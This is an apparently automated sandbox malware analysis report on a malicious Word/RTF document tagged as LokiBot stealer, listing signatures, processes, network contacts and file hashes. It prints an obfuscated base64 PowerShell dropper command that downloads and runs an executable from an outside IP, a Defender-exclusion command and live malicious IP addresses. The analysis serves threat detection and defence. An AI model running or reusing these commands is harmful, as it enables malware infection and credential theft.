Malware Analysis Report

2025-04-03 09:49

Sample ID 241120-l5mdwavpd1
Target seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seethebestthignsalwaysgivnebestthigns.doc
SHA256 564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1
Tags
lokibot collection defense_evasion discovery execution spyware stealer trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1

Threat Level: Known bad

The file seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seethebestthignsalwaysgivnebestthigns.doc was found to be: Known bad.

Malicious Activity Summary

lokibot collection defense_evasion discovery execution spyware stealer trojan

Lokibot

Lokibot family

Blocklisted process makes network request

Downloads MZ/PE file

Evasion via Device Credential Deployment

Command and Scripting Interpreter: PowerShell

Executes dropped EXE

Loads dropped DLL

Reads user/profile data of web browsers

Accesses Microsoft Outlook profiles

Drops file in System32 directory

Suspicious use of SetThreadContext

Drops file in Windows directory

Enumerates physical storage devices

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

Suspicious behavior: EnumeratesProcesses

Enumerates system info in registry

Suspicious behavior: AddClipboardFormatListener

outlook_win_path

Modifies Internet Explorer settings

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Checks processor information in registry

outlook_office_path

Suspicious use of AdjustPrivilegeToken

Launches Equation Editor

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-11-20 10:07

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-11-20 10:07

Reported

2024-11-20 10:09

Platform

win7-20240729-en

Max time kernel

96s

Max time network

97s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seeth.rtf"

Signatures

Lokibot

trojan spyware stealer lokibot

Lokibot family

lokibot

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE N/A
N/A N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Evasion via Device Credential Deployment

defense_evasion execution
Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Reads user/profile data of web browsers

spyware stealer

Accesses Microsoft Outlook profiles

collection
Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Drops file in System32 directory

Description Indicator Process Target
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A

Suspicious use of SetThreadContext

Description Indicator Process Target
PID 2680 set thread context of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe

Drops file in Windows directory

Description Indicator Process Target
File opened for modification C:\Windows\Debug\WIA\wiatrace.log C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Enumerates physical storage devices

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\mshta.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor

exploit
Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE N/A

Modifies Internet Explorer settings

adware spyware
Description Indicator Process Target
Key created \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main C:\Windows\SysWOW64\mshta.exe N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2804 wrote to memory of 2816 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE C:\Windows\SysWOW64\mshta.exe
PID 2804 wrote to memory of 2816 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE C:\Windows\SysWOW64\mshta.exe
PID 2804 wrote to memory of 2816 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE C:\Windows\SysWOW64\mshta.exe
PID 2804 wrote to memory of 2816 N/A C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE C:\Windows\SysWOW64\mshta.exe
PID 2816 wrote to memory of 2792 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2816 wrote to memory of 2792 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2816 wrote to memory of 2792 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2816 wrote to memory of 2792 N/A C:\Windows\SysWOW64\mshta.exe C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
PID 2792 wrote to memory of 668 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2792 wrote to memory of 668 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2792 wrote to memory of 668 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2792 wrote to memory of 668 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2792 wrote to memory of 2160 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2792 wrote to memory of 2160 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2792 wrote to memory of 2160 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2792 wrote to memory of 2160 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
PID 2160 wrote to memory of 2384 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2160 wrote to memory of 2384 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2160 wrote to memory of 2384 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2160 wrote to memory of 2384 N/A C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
PID 2792 wrote to memory of 2680 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2792 wrote to memory of 2680 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2792 wrote to memory of 2680 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2792 wrote to memory of 2680 N/A C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2324 wrote to memory of 2172 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2324 wrote to memory of 2172 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2324 wrote to memory of 2172 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2324 wrote to memory of 2172 N/A C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE C:\Windows\splwow64.exe
PID 2680 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2272 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
PID 2680 wrote to memory of 2216 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2216 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2216 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2216 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe
PID 2680 wrote to memory of 2316 N/A C:\Users\Admin\AppData\Roaming\wininit.exe C:\Users\Admin\AppData\Roaming\wininit.exe

outlook_office_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

outlook_win_path

Description Indicator Process Target
Key opened \REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook C:\Users\Admin\AppData\Roaming\wininit.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seeth.rtf"

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding

C:\Windows\SysWOW64\mshta.exe

"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"

C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe

"C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe

"C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\curq-f5c.cmdline"

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe

C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES4442.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC4441.tmp"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Windows\splwow64.exe

C:\Windows\splwow64.exe 12288

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

C:\Users\Admin\AppData\Roaming\wininit.exe

"C:\Users\Admin\AppData\Roaming\wininit.exe"

Network

Country Destination Domain Proto
US 66.63.187.231:80 66.63.187.231 tcp
US 66.63.187.231:80 66.63.187.231 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp
DE 94.156.177.41:80 94.156.177.41 tcp

Files

memory/2324-0-0x000000002FB61000-0x000000002FB62000-memory.dmp

memory/2324-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2324-2-0x00000000713BD000-0x00000000713C8000-memory.dmp

C:\Users\Admin\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta

MD5 ec0d423a3f72d69975a1e31a275f5377
SHA1 213922fb8456ecaadc24889afec1ac6ef5010c68
SHA256 9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac
SHA512 8132f567abfd4e3489204d1f3a9fc8292457ce10495345cd0ccfa8074233411c8305c4d73078a7dee02b086fbc22b8ad7047dd4bc127de337d0800771edf53ad

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

MD5 03e17db36bc1693d064de4cf63581457
SHA1 3465c05785b085f1ed6b679ae9c3e312e0008063
SHA256 69e2b7a3c968300d3602965071212566f642ae6029df19941c1117e1233ea5a2
SHA512 6381e686e3e298a8485f9baa9c76a2cdc11fae302c4ab67204c094a8a5cc98bae463cf8119aa975ccf732bc52e11955e985a971fc4fae9ccb0ee1002da8be4bb

\??\c:\Users\Admin\AppData\Local\Temp\curq-f5c.cmdline

MD5 1f11c4bfa922eee65bf95da0ed33f809
SHA1 1841382b9d8c7faf90eb0428d6b730659b30cb87
SHA256 7657cc7a09fbf56f1399a8a8e8cd802b5e9c646da408eb01a02f32728ad3c341
SHA512 89908271f1858328d66f1ba132d61a1719f2e6c29b2d2cbfe32938aff7510a64063d348a3292c5f68dae8a5c34beb3d9e4fc9c0e3161b33f1262f1142704fa7a

\??\c:\Users\Admin\AppData\Local\Temp\curq-f5c.0.cs

MD5 b0517586f4097114e790c61f2685f0d5
SHA1 20f7482298ab96731228ebd5242ceddfd72ff50f
SHA256 a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237
SHA512 c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0

\??\c:\Users\Admin\AppData\Local\Temp\CSC4441.tmp

MD5 5091533375d13f175bab9e33d32d0746
SHA1 6c2fe722c6f49941fef8587731a5b75a6d741240
SHA256 9723e2318ca7bbbe283986e88c6e7a9f56c5ecde31fec1bd9f86b3056faf1433
SHA512 3a851023e7af7b5cc6e9b453ffe8e487615614a258beb6daf682cfd97e117a0361f67ae15fa91a46d211a385f6915b0dac17aca2cc974c0db8c0956856627b65

C:\Users\Admin\AppData\Local\Temp\curq-f5c.dll

MD5 9741027684526df318fb6cbc34152270
SHA1 e6da86e69f250a0f4264485271411f8dc0eb6d42
SHA256 bf9814b102c69336758a1c1ecca01d17a4668c8eaffdf8c5ce8dfe14029bd77c
SHA512 ec37a8205b3eda5c6c1195b5488b7d627e100af9c8e0851ea6d052a4301d3871047199b29334e4a2def39630d834627d2e601f4391333a506b726fd4fb23c910

C:\Users\Admin\AppData\Local\Temp\RES4442.tmp

MD5 37a082c418019dab90c73c62b2f491ac
SHA1 f4bb4f3c092bb532bafa9e8cee0b62ba1ee08b9d
SHA256 448fb02400e6a4130e93391e3382889fa27652a2a55e0aabbfbbcb2cd4a0b4f9
SHA512 bc027163ea30d0172c749d4cbcb45991c311a750222c3c3ce1dea8787de49cfc911f7a3050fe673a816845c8de0be169789c0f54c2d8316dc680095d6d4db513

C:\Users\Admin\AppData\Local\Temp\curq-f5c.pdb

MD5 b070ed12fb29d73958e9d02a423bcadc
SHA1 1413372a191113d7c3294216c865d5e44981fa5f
SHA256 990a34da9770d2d6bc45bb415577b080f9367d66d9c770def95f73a908937c6c
SHA512 89c437de87d72b61fafcc5a3a327b41070a795731de5a66e8ba6b383e53ecc66060de82bb3a4fb72f677fc8dd449cf5f0ceac2c738b6d40a8d770208d3642664

C:\Users\Admin\AppData\Roaming\wininit.exe

MD5 66b03d1aff27d81e62b53fc108806211
SHA1 2557ec8b32d0b42cac9cabde199d31c5d4e40041
SHA256 59586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4
SHA512 9f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d

memory/2680-46-0x0000000000190000-0x0000000000228000-memory.dmp

memory/2324-47-0x00000000713BD000-0x00000000713C8000-memory.dmp

memory/2680-48-0x0000000000510000-0x0000000000522000-memory.dmp

memory/2680-49-0x00000000051A0000-0x0000000005204000-memory.dmp

memory/2316-51-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2316-53-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2316-55-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2316-57-0x0000000000400000-0x00000000004A2000-memory.dmp

\??\PIPE\srvsvc

MD5 d41d8cd98f00b204e9800998ecf8427e
SHA1 da39a3ee5e6b4b0d3255bfef95601890afd80709
SHA256 e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
SHA512 cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

memory/2316-64-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2316-62-0x0000000000400000-0x00000000004A2000-memory.dmp

memory/2316-61-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

memory/2316-59-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2703099537-420551529-3771253338-1000\0f5007522459c86e95ffcc62f32308f1_4b15cc6c-8bd6-4727-90f6-cf303c4bde6d

MD5 d898504a722bff1524134c6ab6a5eaa5
SHA1 e0fdc90c2ca2a0219c99d2758e68c18875a3e11e
SHA256 878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9
SHA512 26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

memory/2316-90-0x0000000000400000-0x00000000004A2000-memory.dmp

C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-2703099537-420551529-3771253338-1000\0f5007522459c86e95ffcc62f32308f1_4b15cc6c-8bd6-4727-90f6-cf303c4bde6d

MD5 c07225d4e7d01d31042965f048728a0a
SHA1 69d70b340fd9f44c89adb9a2278df84faa9906b7
SHA256 8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a
SHA512 23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

memory/2316-98-0x0000000000400000-0x00000000004A2000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-11-20 10:07

Reported

2024-11-20 10:09

Platform

win10v2004-20241007-en

Max time kernel

133s

Max time network

143s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seeth.rtf" /o ""

Signatures

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE

"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\seemybestoptionforentiretimegivenmebackwith______suchagreatthignswithentiretimewithmegood______seeth.rtf" /o ""

Network

